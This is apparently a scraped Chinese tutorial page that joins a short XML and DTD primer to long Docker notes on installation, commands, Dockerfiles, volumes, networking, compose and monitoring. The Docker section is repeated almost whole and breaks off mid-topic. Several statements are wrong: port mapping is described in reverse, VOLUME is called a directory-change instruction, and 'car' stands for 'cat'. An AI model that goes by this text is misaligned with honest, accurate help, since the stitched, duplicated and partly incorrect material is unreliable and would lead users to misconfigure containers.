xml中文全称为可扩展标记语言(Extensible Markup Language) xml和html类似,但是xml是用来传输和存储数据的,xml大小写敏感,xml的标记是自定义的 xml声明,该声明位在xml文档的第一行,结尾 version属性表示xml的版本,encoding属性表示该xml文档的编码方式,standalone属性表示该文档是否为独立,no表示依赖于外部文档 xml的标记也可以像html一样,认为是元素,一般由开始标签,属性,内容,结束标签组成,例如xml 和就是xml文档中的标签(元素),和html一样,可以嵌套n个子元素,如果一个元素没有被嵌套到其他元素上,那么这个元素就是根元素 一般来说一个格式良好的xml文档只有一个根元素,而且根元素是xml文档的第一个元素,如果一个元素没有嵌套子元素也没有内容,那么这个元素为空元素,空元素不需要结束标签,例如 属性是元素的描述和说明,可以使用多个属性,每个属性都有自己名称和值,值用"“或者’‘包起来 xml的注释方式和html一样, DTD约束 XML是自定义标签,浏览器不知道这个标签是用来干什么的,因此制定的一套约束,遵循一定的语法 DTD约束写在一个DTD文件里,dtd导入,例如: 如果导入了本地的DTD文档,那么standalone属性的值不能为yes DTD除了导入外,还可以内嵌,例如 元素内容包括元素的声明,包括数据类型和符号 PCDATA 中文意思就是被解析的字符数据,会被解析器解析 子元素 例如 空元素 一般用来定义空元素 ANY 表示这个元素没有包含任何字符数据和子元素,例如,在实际开发中,尽量不要使用ANY,除了根元素外,其他使用ANY的元素会失去DTD对XML的约束 符号 问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组 DTD除了给定义元素外,也可以为元素定义属性 属性类型指定该属性是属性哪个类型的,属性说明一般用来说明该属性是否必须出现 属性类型 CDTATA // 表示属性类型为字符数据,如果想在属性设置值中出现特殊符号(例如<),那么需要使用其转义字符序列来表示,例如 “<“来表示”<” Enumerated(枚举类型) // 在声明一个属性时,可以限制该属性的取值只能从一个列表中选择,但是在DTD文档中不会出现Enumerated关键字,用法例如: ID // 表示该属性类型为唯一标识,一个元素只能有一个id类型的属性,而且属性说明必须为REQUIRED或者IMPLIED IDREF和IDREFS // 一般用来关联元素与元素之间的关系,而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值,例如: 1 2 说明ID为01和02的元素之间,存在关联 IDREFS就是引用多个ID类型的属性值,例如: 1 属性说明 REQUIRED // 表示这个元素的这个属性是必须的 IMPLIED // 表示这个元素可以包含这个属性,也可以不包含 FIXED // 表示这个固定的属性默认值,不能将该属性的值设置为其他值,使用该说明时还需要提供一个默认值,如果XML没有定义该属性,那么其值就被自动设置为DTD定义的默认值 默认值 // 和FIXED一样,不同的是,这个属性的值可以改变,如果在xml文档中设置了新的值,那么新的值会覆盖DTD定义的默认值
docker是一个应用容器,可以将应用以及该应用的依赖打包到一个可以移植的容器中,应用在这个容器中运行 可以进行转移,修改,版本管理等操作,不用担心应用转移到别的服务器会出现依赖问题 将容器文件转移到别的服务器上,不会影响到容器,一次配置,可以在多个服务器上使用相同的环境 在以前,根本不可能实现或者保障一个服务器是运行多个应用,直到虚拟机的出现,虚拟机可以让空闲的服务器部署新的应用,但是虚拟机依赖于操作系统,操作系统又会占用CPU和内存,以及存储,而且虚拟机的移植性差启动缓慢,直到容器的出现 运行在相同的宿主机的容器是共享一个操作系统的,而且容器具备启动快,移植性强的特点(不用担心本地运行好好的,到生产环境就出一堆问题) docker的多数项目和工具是使用golang编写的 Docker容器技术高度依赖于Linux内核,不管是在windwos或者Mac OS上都不是真正的容器化(只有在Linux系统上才能实现无虚拟化的真正容器化),都是在虚拟化Linux之后,在Linux虚拟机的基础上实现的 Docker三大件:镜像,容器,仓库 镜像被用来创建容器(而且镜像文件是复用,只可读的) 容器是镜像文件的实例,容器与容器之间是隔离的,容器可被启动,查看,暂停,退出,重启,删除 仓库是集中存储镜像文件的地方,Docker官方仓库:https://hub.docker.com/ Docker官网文档:https://docs.docker.com/ Docker是基于C/S架构(Client-Server)的系统,Docker的守护进程(Docker Daemon)运行在服务端上,客户端通过Docker Client和守护进程建立通信,守护进程可以接收客户端发送的指令并且可以管理服务端的容器 Docker Engine(引擎)会执行客户端发送的指令,来执行Docker内部的工作,每一项工作以Job的形式存在(一个job表示一个工作任务) 如果job(工作任务)需要镜像时,会从Docker Registry中下载获取镜像(如果本地存在则从本地获取,如果没有再从远程仓库获取) 当Docker容器需要创建网络环境时,通过Network driver创建并且配置Docker容器网络环境(通过网桥来暴露对外的端口和ip) 如果需要限制Docker容器运行资源或者执行用户指令时,通过Exec driver完成 网络的配置以及Exec driver的实现都是通过Libcontainer来实现的,Libcontainer是用来管理容器的包,该包基于go语言开发的,像创建容器,删除容器等等都可通过Libcontainer完成 安装docker(环境为ubuntu20.04) 如果之前安装过docker,需要先卸载 sudo apt remove docker docker-engine docker.io containerd runc docker官方推荐使用docker的存储库来安装或者升级,而不是通过脚本或者通过下载deb软件的方式来安装 安装依赖 sudo apt install ca-certificates curl gnupg lsb-release 配置docker官方的GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg 配置稳定Docker CE源 sudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable” 安装docker引擎 sudo apt install docker-ce docker-ce-cli containerd.io 或者直接使用docker官方提供的sh脚本 curl -s https://get.docker.com | sh (不推荐使用) 如果需要安装指定版本的docker,可指定docker-ce和docker-ce-cli的版本 查看源仓库中可安装的docker的版本 apt-cache madison docker-ce 启动docker服务 service docker start 关闭docker服务 service docker stop 重启docker服务 service docker restart 检查是否安装成功(创建一个测试容器,并且执行该容器,该容器会返回信息并且退出) sudo docker run hello-world 或者docker version 查看所有镜像 docker image ls或者docker images 查看所有容器 docker ps docker ps -a # 输出所有容器(包括未运行的) docker ps -q # 只输出容器id docker ps -a -q # 输出所有容器id docker ps -n 5 # 输出最近创建的5个容器 docker ps -l # 显示最近创建的容器 REPOSITORY:镜像名称,TAG:镜像的标签(一般为该镜像的版本号),IMAGE ID:镜像id,CREATED:镜像创建时间,SIZE:镜像大小 镜像id实质上为该镜像的sha256 注意:如果不指定版本,将默认使用latest版本的镜像 docker system df # 查看Docker的磁盘使用情况 docker stop 容器id(或者容器名都可以) -f # 关闭指定容器,-f为强制删除 docker stop $(docker ps -a -q) # 关闭所有容器 删除指定容器 docker image rm 容器名称 # 例如 docker image rm centos docker rmi 容器id # 删除指定镜像 docker rmi $(docker images -a -q) # 删除所有镜像 查看所有正在运行的容器 docker container ls或者docker ps 查看所有的容器(包括已经停止运行的) docker container ls –all 运行指定容器 docker container run 镜像名 或者 docker run 镜像名 启动容器 docker start 容器ID或者容器名 重启容器 docker restart 容器ID或者容器名 停止容器 docker stop 容器ID或者容器名 强制停止运行容器 docker kill 容器ID或者容器名 删除已经停止运行的容器 docker rm 容器ID 注意:rm是删除容器,rmi是删除镜像 docker exec -it 容器ID bash # 在容器中打开新终端,并且启动新的进程,在这个情况下使用exit退出不会导致容器的暂停,而attach会导致容器的暂停,推荐使用exec docker attach 容器ID # 直接进入容器启动命令的终端,不启动新的进程 docker run -it ubuntu /bin/bash # i表示以交互模式运行容器,t为给容器创建一个伪终端(搭配使用就是交互式容器) docker run –name=“容器的新名称” 镜像名 # 为容器指定新名称,如果不指定,容器名称默认为镜像名 docker run -d 镜像名 # 后台运行容器并且返回容器id(以守护进程的方式后台运行容器) docker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口 docker run -P 镜像名 # 随机端口映射,不常用 获取容器(从镜像源(docker hub)中下载到本地,docker提供大量已经配置好的容器,可以直接下载使用,修改) docker image pull 镜像名 # 拉取某个镜像 docker search 镜像名 # 搜索查找某个镜像 NAME:容器仓库名称,DESCRIPTION:容器描述,STARS:类似github的star,关注,喜欢 OFFICIAL:是否为官方,AUTOMATED:是否为自动构建 docker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份(拷贝)到主机中 导出导入容器(备份容器) docker export 容器id > 文件x.tar # 导出容器 car 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器 修改容器源 国内容器源 http://hub-mirror.c.163.com # 网易云 https://docker.mirrors.ustc.edu.cn # 中国科技大学 https://mirror.ccs.tencentyun.com # 腾讯云 docker run hello-world –registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用 找到/etc/default/docker 插入 DOCKER_OPTS="–registry-mirror=https://mirror.ccs.tencentyun.com" 或者 找到/etc/docker/daemon.json,插入 {“registry-mirrors”: [“https://mirror.ccs.tencentyun.com”]} # 可以插入多个源 然后重启服务 如果dockerhub满足不了,可以在hub已存在的容器中进行修改(安装,卸载…) 或者使用Dockerfile,从零开始构建容器 mkdir hallo && cd hallo # 新建一个文件夹,并且进入这个文件夹 nano Dockerfile # 新建个文件,并且修改它 FROM ubuntu:18.04 RUN apt -y update && apt install -y nginx && apt install -y mariadb-server && apt install -y php* FROM:基础镜像,操作都是基于这个基础镜像,RUM:执行指定指令(shell) 其他参数,MAINTAINER:容器创建者,CMD:当容器启动时执行命令,只能有一条CMD命令,多条执行最后一条,容器run命令会覆盖cmd命令 ENTRYPOINT:当容器启动时执行命令,不可覆盖 USER:指定哪个用户来启动容器 EXPOSE:容器内部开启端口,一般用于容器端口映射到主机端口上 ENV:环境变量 ADD:复制或者下载到容器,请确保本地或者docker仓库中有需要add的文件,例如: ADD 文件路径(或者url) 目标容器的绝对路径 VOLUME:切换目录用,类似cd 打包容器 docker build -t 容器名 . 这个“.”表示为当前路径 如果正在运行docker,想退出可以使用ctrl+D,例如 在centos中体验Ubuntu系统 例如docker container run -it ubuntu bash 如果想退出docker,可以在docker(run进去的容器)中输入exit 如果想docker中的容器不停止, 快捷键 ctrl+p+q 推送本地容器到docker仓库中 首先需要一个docker仓库账号,例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务, docker login -u 账号 -p 密码 # 登录DockerHub账号 docker push hallo_word:yes docker pull会默认推送带有latest标签的容器到本地,所以推荐把容器标签修改为latest,或者直接指定要推送哪个容器,精确到标签 docker tag hallo_word:yes hallo_word:latest 推送到第三方仓库(例如:阿里容器镜像服务) docker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地 docker login –username=xxx@qq.com registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名,密码为开通服务时设置的密码,如果是私有仓库,那么需要推送容器到本地之前执行,推送容器到本地之后再执行一次 docker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送到阿里容器仓库 端口映射(实质上并不是docker容器技术实现的,是利用了iptables) docker配置文件hostconfig.json docker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口 docker为啥比虚拟机性能好 docker不需要硬件资源的虚拟化,docker的容器的软件是可以直接使用物理机的硬件资源的(更好的利用硬件资源),而且docker是直接调用的宿主机的内核,不需要重新加载操作系统的OS内核(减少不必要的浪费) 虚悬镜像(dangling image):指的是仓库名,标签都是的镜像,一般出现在删除镜像出错时 查找虚悬镜像 docker image ls -f dangling=true 删除虚悬镜像 docker image prune #删除所有dangling image 镜像是一种独立,可执行,轻量级的软件包,包含某个软件需要的所有内容,这个镜像包含应用程序,应用的配置依赖,这个镜像实质上就是一个可交付的运行环境 镜像分层系统实现依赖于UnionFS UnionFS(联合文件系统):是一种分层,轻量级的高性能文件系统,支持对文件系统的修改作为一次提交来一层一层的叠加,并且将不同的目录挂载到同一个虚拟文件系统下 镜像可通过分层来基于基础镜像来制造各种应用镜像 Docker镜像加载原理:通过UnionFS来一层一层组成,bootfs(boot file system)加载和引导内核,当boot加载完毕,内存使用权从bootfs转交到内核,系统卸载bootfs rootfs(root file system)就是操作系统,包含Linux系统中标准的/bin,/etc等目录 Docker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs,复用宿主机的内核 镜像分层的好处:可复用,方便共享(复制迁移)资源,镜像的每一层都可以被共享,可复用 镜像层是只读,容器层是可写的,当一个容器被启动,一个可写层被加载到镜像的顶部时,那么这一层被叫为容器层,容器层之下的都被叫为镜像层 commit命令提交副本来创建新镜像 docker commit -m=“注释” -a=“作者” 容器id 用户/镜像名:镜像版本号 搭建私有仓库 docker私有仓库(Docker Registry) Docker Registry是docker提供的镜像,专门用来构建docker私有仓库 docker pull registry # 拉取Registry镜像 docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry 默认情况下,仓库被创建在容器的/var/lib/registry目录下(当然也可以通过容器卷来映射) docker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范 这个私有仓库默认不支持http推送,需要修改/etc/docker/daemon.json “insecure-registries”: [“192.168.1.110:5000”] 如果不生效,请重启docker服务 推送镜像到私有仓库 docker push 192.168.1.110:5000/ubuntu 查看私有仓库存储的镜像 curl -XGET http://192.168.1.110:5000/v2/_catalog 获取私有仓库镜像到本地 docker pull 192.168.1.110:5000/ubuntu 容器数据卷 -v参数为启动自定义容器数据卷 比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry /test/registry/为宿主机路径,/tmp/registry为容器内部路径,– privileged=true为开启privileged,(开启privileged后,容器内部的root才拥有真正的root权限,否则容器的root只是普通用户权限) 容器数据卷用于数据的持久化(独立于容器的生命周期),可绕过联合文件系统来达到持续存在或者共享数据的目的,docker不会在删除容器时,删除容器挂载的数据卷,数据卷指定容器内部路径,任何在该路径存储的数据,都会被映射到宿主机指定的那个目录下 在数据卷中的任何更改都不会认为是镜像的更新,而且数据卷中的更改是实时生效的(不需要重启容器之类的,哪怕容器没有启动),数据卷的生命周期长(可持续到没有容器使用它为止) 数据卷被用于容器和宿主机之间的互通互联,在宿主机中更新的文件,会实时在容器中生效 docker inspect 镜像名或者镜像id # 获取容器/镜像的元数据 数据卷在该镜像的元数据的Mounts属性中找到 数据卷默认可读可写(rw),可通过ro来限制容器内部只能读,不能写 默认情况下 docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw – privileged=true registry 因为rw是默认的,可以省略不写 限制容器只能读取数据卷,不能写(ro,read only) docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro – privileged=true registry 数据卷的继承(–volumes-from) docker run -it – privileged=true –volumes-from 容器1 –name 容器2 registry 容器2继承容器1的数据卷规则(哪怕容器1被删除了或者停止运行了,依然不会影响到容器2的数据卷) docker network docker network可用于容器之间的互联以及通信(端口映射),可通过服务名来直接通信(不受IP变动而影响) docker会默认创建一个叫docker0的虚拟网桥(bridge网络模式) docker0网桥会在内核层连通其他网络网卡和虚拟网卡,实现所有的容器和本地主机的网络连接(同一个物理网络) docker会默认创建三个网络模式,分别为bridge(默认),host,none 可通过docker network ls命令查看 创建网络 docker network create hallo 删除网络 docker network rm hallo 查看网络的详细信息 docker network inspect bridge bridge网络模式:为容器分配和设置IP,并且将容器分配到docker0网桥(如果不指定-network,创建的容器默认在该模式上)(–network bridge,可忽略) host网络模式:容器不会虚拟网卡,而是直接使用宿主机的ip和端口和外界通信(不需要额外进行NAT转换,没有独立的Network namespace,而是和宿主机共用一个Network namespace)(–network host) none网络模式:该模式的容器有自己的独立网络规则(Network namespace),但是没有进行配置,需要手动配置docker容器网络(发挥网络定制功能,没有虚拟网卡,没有IP等等网络信息),在该模式下只有一个127.0.0.1的本地网络回环接口(lo)(–network none) container网络模式:该模式下的容器不会配置自己的IP,而是和指定的容器共享IP和端口范围(网络共用,文件和进程隔离)(–network container:指定容器名或者容器ID) 自定义网络模式(可通过服务名(容器名/主机名)来通信,docker network create hallo) docker-compose容器编排 docker-Compose是Docker官方提供的Docker容器集群快速编排工具,用于管理多个docker容器组成的应用,通过docker-compose.yml配置文件来管理多个容器之间的调用关系 官方文档https://docs.docker.com/compose/ 下载文档:https://docs.docker.com/compose/install/ 下载docker-Compose sudo curl -L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)” -o /usr/local/bin/docker-compose 添加写的权限 sudo chmod +x /usr/local/bin/docker-compose 测试是否安装完成 docker-compose –version 构建并且启动容器(执行docker-compose.yml配置文件)(加参数-d为启动服务并且后台运行) docker-compose up 构建或者重新构建服务 docker-compose build 删除指定服务的容器 docker-compose rm 容器名 停止并且删除容器,镜像,网络,卷 docker-compose down 进入容器 docker-compose exec 服务id 查看当前docker-compose编排的全部容器 docker-compose top 查看当前docker-compose编排的容器进程 docker-compose ps 停止docker-compose服务 docker-compose stop 启动docker-compose服务 docker-compose start 重启docker-compose服务 docker-compose restart 检查配置文件(-q参数表示当配置文件出现问题时才输出信息) docker-compose config 容器的7种状态: created(已创建) restarting(重启中) running或up(运行中) removing(迁移中) paused(暂停) exited(停止) dead(死亡) docker-compose.yml配置文件 version: "3.9" services: web: build: context: . dockerfile: Dockerfile_test ports: - "5000:5000" volumes: - /app/test:/data/app links: - redis networks: - hallo_net redis: image: redis command: redis-server /etc/redis/redis.conf networks: hallo_net: version字段为版本号(具体支持的版本和docker-compose安装的版本有关,具体看实质版本),services字端表示服务容器,services字端下面的服务名的image字段为从指定镜像中启动容器(镜像可本地,可仓库或者镜像ID),ports字段为端口映射,networks字段为指定网络模式,volumes字段为容器数据卷 外面那个networks字段将会创建hallo_net自定义网络模式,处理基于指定镜像外,还可以基于Dockerfile,build字段下的dockerfile字段就是指定Dockerfile文件所在的路径,context字段为构建的路径,links字段为链接到指定服务中的容器 一般都是通过Dockerfile自动化构建镜像,然后基于这个镜像使用docker-compose管理容器 Portainer可视化工具 Portainer是一个Docker轻量级的可视化工具(Portainer官网,https://www.portainer.io,官网文档:https://docs.portainer.io/v/ce-2.11/start/install/server/docker/linux) 可直接pull Portainer的镜像来安装 docker pull portainer/portainer docker run -d -p 8000:8000 -p 9443:9443 --name portainer \ --restart=always \ -v /var/run/docker.sock:/var/run/docker.sock \ -v portainer_data:/data \ portainer/portainer-ce:2.11.1 启动完毕后,访问1192.168.1.110:9443/,进行设置admin用户和密码 如果是监控本地的docker,选择local CAdvisor+InfluxDB+Granfana(CIG重量级容器监控) docker依赖多种namespace来进行隔离(例如User Namespace,容器用户和宿主用户隔离,process id Namespace,隔离进程id,network Namespace,隔离网络设备,端口号,mount Namespace,隔离挂载等等),依赖于cgroup进行资源管理和控制(例如cpu,内存),namespace和cgroup都由自Linux内核提供 docker使用了6种namespace,分别是,mount namespace,uts namespace,ipc namespace,network namespace,pid namespace,user namespace mount Namespace:隔离不同进程的挂载数据,保证容器的挂载操作不会影响到宿主的挂载 sudo unshare –mount –fork /bin/bash # 创建一个mount Namespace,使用/bin/bash进程,在该挂载任何文件,都不会作用于宿主 pid namespace是隔离进程的pid的,也就是说宿主是看不到容器的应用pid,容器也看不到宿主的pid sudo unshare –pid –fork –mount-proc /bin/bash 安全容器:容器运行在虚拟机中,具备虚拟机的安全隔离性,例如kata Container,使用guest kernel(精简了内核,专门提供给容器运行,减低资源的消耗) 因为docker容器共享宿主内核,存在安全性,所以可使用安全容器来隔离宿主内核,安全容器的内核是完全独立于宿主的内核(虚拟化技术) docker容器资源限制 docker run -it –cpus=4 -m=8192 –pids-limit=1000 ubuntu /bin/bash # 启动ubuntu镜像,使用/bin/bash作为终端,资源被设置为4核8g,并且只能创建1000个pid docker stats ubuntu # 查看容器的资源使用情况 cAdvisor是谷歌开源的容器监控工具,不但可以监控容器的资源使用情况,还可以监控宿主的资源使用情况,可查看容器的历史资源使用情况 docker run \ --volume=/:/rootfs:ro \ --volume=/var/run:/var/run:ro \ --volume=/sys:/sys:ro \ --volume=/var/lib/docker/:/var/lib/docker:ro \ --volume=/dev/disk/:/dev/disk:ro \ --publish=8080:8080 \ --detach=true \ --name=cadvisor \ --privileged \ --device=/dev/kmsg \ gcr.io/cadvisor/cadvisor:$VERSION 访问http://localhost:8080 容器的资源限制通过/sys/fs/cgroup/memory/docker下的,目录名为容器id,其中memory.limit_in_bytes是该容器的内存限制文件,memory.usage_in_bytes是该容器的内存使用情况,proc/容器的pid/net/dev是该容器的网络使用情况,cpuset.cpus是cpu限制使用核数,cpu.cfs_period_us是一个cpu核心的带宽(单位微秒,容器的cpu总带宽=cpu核心数*单个cpu核心的带宽),cpu.cfs_quota_us是可使用cpu带宽(单位微秒,-1为不限制) 容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的,所以启动容器监控工具,要映射数据卷/sys:到容器中 kubernetes简称k8s,用来自动化容器的部署,监控,容器负载均衡等等 master是容器集群的控制系统,可以用来监控容器的状态,调度负载均衡 node是k8s的工作节点,可以接收master的指令,根据指令来创建和销毁Pod等等 Pod是容器的容器,可以包含多个容器,是k8s中最小的可部署单元,pod内部的网络是互通的,每一个pod都有自己的虚拟ip k8s将弃用dockershim(dockershim是k8s内置的一个组件,该组件可让k8s能够通过CRI(Container Runtime Interface)来操作docker) 安装docker 配置docker 添加docker官方GPGkey curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo apt-key fingerprint 0EBFCD88 安装依赖 sudo apt install apt-transport-https ca-certificates curl software-properties-common 设置docker仓库 sudo add-apt-repository “deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable” 重新加载源 sudo apt update 如果报错,可以手动在/etc/apt/source.list添加 deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable sudo apt dist-upgrade(智能处理包依赖,会自己安装新软件或者删除原有软件包来完成升级) 安装docker sudo apt install docker-ce docker-ce-cli containerd.io
docker是一个应用容器,可以将应用以及该应用的依赖打包到一个可以移植的容器中,应用在这个容器中运行 可以进行转移,修改,版本管理等操作,不用担心应用转移到别的服务器会出现依赖问题 将容器文件转移到别的服务器上,不会影响到容器,一次配置,可以在多个服务器上使用相同的环境 在以前,根本不可能实现或者保障一个服务器是运行多个应用,直到虚拟机的出现,虚拟机可以让空闲的服务器部署新的应用,但是虚拟机依赖于操作系统,操作系统又会占用CPU和内存,以及存储,而且虚拟机的移植性差启动缓慢,直到容器的出现 运行在相同的宿主机的容器是共享一个操作系统的,而且容器具备启动快,移植性强的特点(不用担心本地运行好好的,到生产环境就出一堆问题) docker的多数项目和工具是使用golang编写的 Docker容器技术高度依赖于Linux内核,不管是在windwos或者Mac OS上都不是真正的容器化(只有在Linux系统上才能实现无虚拟化的真正容器化),都是在虚拟化Linux之后,在Linux虚拟机的基础上实现的 Docker三大件:镜像,容器,仓库 镜像被用来创建容器(而且镜像文件是复用,只可读的) 容器是镜像文件的实例,容器与容器之间是隔离的,容器可被启动,查看,暂停,退出,重启,删除 仓库是集中存储镜像文件的地方,Docker官方仓库:https://hub.docker.com/ Docker官网文档:https://docs.docker.com/ Docker是基于C/S架构(Client-Server)的系统,Docker的守护进程(Docker Daemon)运行在服务端上,客户端通过Docker Client和守护进程建立通信,守护进程可以接收客户端发送的指令并且可以管理服务端的容器 Docker Engine(引擎)会执行客户端发送的指令,来执行Docker内部的工作,每一项工作以Job的形式存在(一个job表示一个工作任务) 如果job(工作任务)需要镜像时,会从Docker Registry中下载获取镜像(如果本地存在则从本地获取,如果没有再从远程仓库获取) 当Docker容器需要创建网络环境时,通过Network driver创建并且配置Docker容器网络环境(通过网桥来暴露对外的端口和ip) 如果需要限制Docker容器运行资源或者执行用户指令时,通过Exec driver完成 网络的配置以及Exec driver的实现都是通过Libcontainer来实现的,Libcontainer是用来管理容器的包,该包基于go语言开发的,像创建容器,删除容器等等都可通过Libcontainer完成 安装docker(环境为ubuntu20.04) 如果之前安装过docker,需要先卸载 sudo apt remove docker docker-engine docker.io containerd runc docker官方推荐使用docker的存储库来安装或者升级,而不是通过脚本或者通过下载deb软件的方式来安装 安装依赖 sudo apt install ca-certificates curl gnupg lsb-release 配置docker官方的GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg 配置稳定Docker CE源 sudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable” 安装docker引擎 sudo apt install docker-ce docker-ce-cli containerd.io 或者直接使用docker官方提供的sh脚本 curl -s https://get.docker.com | sh (不推荐使用) 如果需要安装指定版本的docker,可指定docker-ce和docker-ce-cli的版本 查看源仓库中可安装的docker的版本 apt-cache madison docker-ce 启动docker服务 service docker start 关闭docker服务 service docker stop 重启docker服务 service docker restart 检查是否安装成功(创建一个测试容器,并且执行该容器,该容器会返回信息并且退出) sudo docker run hello-world 或者docker version 查看所有镜像 docker image ls或者docker images 查看所有容器 docker ps docker ps -a # 输出所有容器(包括未运行的) docker ps -q # 只输出容器id docker ps -a -q # 输出所有容器id docker ps -n 5 # 输出最近创建的5个容器 docker ps -l # 显示最近创建的容器 REPOSITORY:镜像名称,TAG:镜像的标签(一般为该镜像的版本号),IMAGE ID:镜像id,CREATED:镜像创建时间,SIZE:镜像大小 镜像id实质上为该镜像的sha256 注意:如果不指定版本,将默认使用latest版本的镜像 docker system df # 查看Docker的磁盘使用情况 docker stop 容器id(或者容器名都可以) -f # 关闭指定容器,-f为强制删除 docker stop $(docker ps -a -q) # 关闭所有容器 删除指定容器 docker image rm 容器名称 # 例如 docker image rm centos docker rmi 容器id # 删除指定镜像 docker rmi $(docker images -a -q) # 删除所有镜像 查看所有正在运行的容器 docker container ls或者docker ps 查看所有的容器(包括已经停止运行的) docker container ls –all 运行指定容器 docker container run 镜像名 或者 docker run 镜像名 启动容器 docker start 容器ID或者容器名 重启容器 docker restart 容器ID或者容器名 停止容器 docker stop 容器ID或者容器名 强制停止运行容器 docker kill 容器ID或者容器名 删除已经停止运行的容器 docker rm 容器ID 注意:rm是删除容器,rmi是删除镜像 docker exec -it 容器ID bash # 在容器中打开新终端,并且启动新的进程,在这个情况下使用exit退出不会导致容器的暂停,而attach会导致容器的暂停,推荐使用exec docker attach 容器ID # 直接进入容器启动命令的终端,不启动新的进程 docker run -it ubuntu /bin/bash # i表示以交互模式运行容器,t为给容器创建一个伪终端(搭配使用就是交互式容器) docker run –name=“容器的新名称” 镜像名 # 为容器指定新名称,如果不指定,容器名称默认为镜像名 docker run -d 镜像名 # 后台运行容器并且返回容器id(以守护进程的方式后台运行容器) docker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口 docker run -P 镜像名 # 随机端口映射,不常用 获取容器(从镜像源(docker hub)中下载到本地,docker提供大量已经配置好的容器,可以直接下载使用,修改) docker image pull 镜像名 # 拉取某个镜像 docker search 镜像名 # 搜索查找某个镜像 NAME:容器仓库名称,DESCRIPTION:容器描述,STARS:类似github的star,关注,喜欢 OFFICIAL:是否为官方,AUTOMATED:是否为自动构建 docker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份(拷贝)到主机中 导出导入容器(备份容器) docker export 容器id > 文件x.tar # 导出容器 car 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器 修改容器源 国内容器源 http://hub-mirror.c.163.com # 网易云 https://docker.mirrors.ustc.edu.cn # 中国科技大学 https://mirror.ccs.tencentyun.com # 腾讯云 docker run hello-world –registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用 找到/etc/default/docker 插入 DOCKER_OPTS="–registry-mirror=https://mirror.ccs.tencentyun.com" 或者 找到/etc/docker/daemon.json,插入 {“registry-mirrors”: [“https://mirror.ccs.tencentyun.com”]} # 可以插入多个源 然后重启服务 如果dockerhub满足不了,可以在hub已存在的容器中进行修改(安装,卸载…) 或者使用Dockerfile,从零开始构建容器 mkdir hallo && cd hallo # 新建一个文件夹,并且进入这个文件夹 nano Dockerfile # 新建个文件,并且修改它 FROM ubuntu:18.04 RUN apt -y update && apt install -y nginx && apt install -y mariadb-server && apt install -y php* FROM:基础镜像,操作都是基于这个基础镜像,RUM:执行指定指令(shell) 其他参数,MAINTAINER:容器创建者,CMD:当容器启动时执行命令,只能有一条CMD命令,多条执行最后一条,容器run命令会覆盖cmd命令 ENTRYPOINT:当容器启动时执行命令,不可覆盖 USER:指定哪个用户来启动容器 EXPOSE:容器内部开启端口,一般用于容器端口映射到主机端口上 ENV:环境变量 ADD:复制或者下载到容器,请确保本地或者docker仓库中有需要add的文件,例如: ADD 文件路径(或者url) 目标容器的绝对路径 VOLUME:切换目录用,类似cd 打包容器 docker build -t 容器名 . 这个“.”表示为当前路径 如果正在运行docker,想退出可以使用ctrl+D,例如 在centos中体验Ubuntu系统 例如docker container run -it ubuntu bash 如果想退出docker,可以在docker(run进去的容器)中输入exit 如果想docker中的容器不停止, 快捷键 ctrl+p+q 推送本地容器到docker仓库中 首先需要一个docker仓库账号,例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务, docker login -u 账号 -p 密码 # 登录DockerHub账号 docker push hallo_word:yes docker pull会默认推送带有latest标签的容器到本地,所以推荐把容器标签修改为latest,或者直接指定要推送哪个容器,精确到标签 docker tag hallo_word:yes hallo_word:latest 推送到第三方仓库(例如:阿里容器镜像服务) docker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地 docker login –username=xxx@qq.com registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名,密码为开通服务时设置的密码,如果是私有仓库,那么需要推送容器到本地之前执行,推送容器到本地之后再执行一次 docker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送到阿里容器仓库 端口映射(实质上并不是docker容器技术实现的,是利用了iptables) docker配置文件hostconfig.json docker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口 docker为啥比虚拟机性能好 